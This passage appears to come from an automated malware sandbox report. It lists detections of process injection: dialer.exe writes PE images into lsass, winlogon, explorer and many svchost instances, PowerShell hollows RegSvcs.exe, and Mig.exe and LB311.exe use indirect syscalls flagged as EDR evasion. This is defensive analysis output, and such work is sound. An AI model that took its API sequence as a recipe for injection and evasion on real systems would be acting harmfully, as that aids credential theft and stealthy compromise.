                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1A9452E0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 29227D20000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 283E5C20000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 14BB07C0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 22C4F660000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DBAE500000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 27B1B9F0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 27FF3CD0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 281CF7C0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 28843650000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 168A9140000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\conhost.exe base: 224A18C0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\conhost.exe base: 23810A00000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 25FE7400000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 21ABC940000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1DF455A0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 21DE15C0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1D69B7B0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1CBFAED0000 protect: page execute and read and write
                      Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1CBFB290000 protect: page execute and read and write
                      Contains functionality to inject code into remote processes
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,51_2_0000000140001C88
                      Creates a thread in another existing process (thread injection)
                      Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\winlogon.exe EIP: 1658273C
                      Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\lsass.exe EIP: F14E273C
                      Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\svchost.exe EIP: 41FA273C
                      Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\dwm.exe EIP: 5B02273C
                      Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\svchost.exe EIP: F32B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 9FD6273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: CA6E273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: ED7B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A198273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 95FB273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 670C273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4A4B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 19A4273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D1FC273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: BDC9273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D8FC273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D2C7273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: CE6B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: AEFD273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: B695273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A22A273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 25AA273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 1A2F273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6395273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4ABA273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: F03D273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: AF3C273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: EBEB273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 8E1B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A7DC273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 12A273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: C0F5273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D7C273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 68FC273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: EA80273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: CE89273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D634273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: DEB7273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: C046273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A215273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 8EB273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6074273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 569B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 8FE6273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 3DC2273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 99B2273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 963B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 81BB273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D2D9273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: DE44273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 1D0E273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 2FA273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D22D273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D200273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 155B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 43E5273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A6F8273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6825273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 452E273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 27D2273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: E5C2273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: B07C273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4F66273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: AE50273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 1B9F273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: F3CD273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: CF7C273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4365273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A914273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A18C273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 10A0273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: E740273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: BC94273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 455A273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: E15C273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 9B7B273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: FAED273C
                      Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: FB29273C
                      Found direct / indirect Syscall (likely to bypass EDR)
                      Source: C:\ProgramData\Mig\Mig.exeNtQueryInformationProcess: Indirect: 0x7FF698A36055
                      Source: C:\Users\user\AppData\Roaming\LB311.exeNtQueryInformationProcess: Indirect: 0x7FF7680D6055
                      Source: C:\Users\user\AppData\Roaming\LB311.exeNtQuerySystemInformation: Indirect: 0x7FF7680CEA29
                      Source: C:\ProgramData\Mig\Mig.exeNtQueryInformationProcess: Indirect: 0x7FF698A36183
                      Source: C:\ProgramData\Mig\Mig.exeNtQuerySystemInformation: Indirect: 0x7FF698A2EA29
                      Source: C:\ProgramData\Mig\Mig.exeNtQuerySystemInformation: Indirect: 0x7FF698A056AD
                      Source: C:\Users\user\AppData\Roaming\LB311.exeNtQueryInformationProcess: Indirect: 0x7FF7680D6183
                      Source: C:\Users\user\AppData\Roaming\LB311.exeNtQuerySystemInformation: Indirect: 0x7FF7680A56AD
                      Injects a PE file into a foreign processes
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5AJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\winlogon.exe base: 2D016580000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 14E41FA0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dwm.exe base: 1D15B020000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23AF32B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23C9FD60000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1A1CA6E0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 246ED7B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 200A1980000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22595FB0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22E670C0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1FE4A4B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 24C19A40000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 275D1FC0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23BBDC90000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 227D8FC0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2DED2C70000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 14ACE6B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 220AEFD0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 241B6950000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 202A22A0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 14D25AA0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1BD1A2F0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21A63950000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1834ABA0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2D8F03D0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 18BAF3C0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 256EBEB0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2568E1B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 226A7DC0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\spoolsv.exe base: 12A0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1E2C0F50000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2EE0D7C0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22B68FC0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 207EA800000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1EBCE890000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 11CD6340000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1AFDEB70000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 207C0460000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 245A2150000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 24708EB0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22F60740000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26E569B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2CA8FE60000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\sihost.exe base: 1D63DC20000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1A799B20000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1F6963B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26481BB0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 166D2D90000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\ctfmon.exe base: 128DE440000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2101D0E0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\explorer.exe base: 2FA0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 192D22D0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26DD2000000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 257155B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dasHost.exe base: 16443E50000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 2C8A6F80000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1E968250000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1A9452E0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dllhost.exe base: 29227D20000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 283E5C20000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\smartscreen.exe base: 14BB07C0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22C4F660000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DBAE500000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 27B1B9F0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 27FF3CD0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 281CF7C0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 28843650000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 168A9140000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 224A18C0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 23810A00000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 25FE7400000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21ABC940000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1DF455A0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 21DE15C0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dllhost.exe base: 1D69B7B0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1CBFAED0000 value starts with: 4D5A
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1CBFB290000 value starts with: 4D5A
                      Injects code into the Windows Explorer (explorer.exe)
                      Source: C:\Windows\System32\dialer.exeMemory written: PID: 4004 base: 2FA0000 value: 4D
                      Modifies the context of a thread in another process (thread injection)
                      Source: C:\Users\user\AppData\Roaming\LB311.exeThread register set: target process: 7724
                      Writes to foreign memory regions
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40E000Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 410000Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 6BA008Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40E000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 410000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: A96008
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40E000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 410000
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: EA1008
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\winlogon.exe base: 2D016580000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 14E41FA0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dwm.exe base: 1D15B020000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23AF32B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23C9FD60000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1A1CA6E0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 246ED7B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 200A1980000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22595FB0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22E670C0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1FE4A4B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 24C19A40000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 275D1FC0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23BBDC90000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 227D8FC0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2DED2C70000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 14ACE6B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 220AEFD0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 241B6950000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 202A22A0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 14D25AA0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1BD1A2F0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21A63950000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1834ABA0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2D8F03D0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 18BAF3C0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 256EBEB0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2568E1B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 226A7DC0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\spoolsv.exe base: 12A0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1E2C0F50000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2EE0D7C0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22B68FC0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 207EA800000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1EBCE890000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 11CD6340000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1AFDEB70000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 207C0460000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 245A2150000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 24708EB0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22F60740000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26E569B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2CA8FE60000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\sihost.exe base: 1D63DC20000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1A799B20000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1F6963B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26481BB0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 166D2D90000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\ctfmon.exe base: 128DE440000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2101D0E0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\explorer.exe base: 2FA0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 192D22D0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26DD2000000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 257155B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dasHost.exe base: 16443E50000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 2C8A6F80000
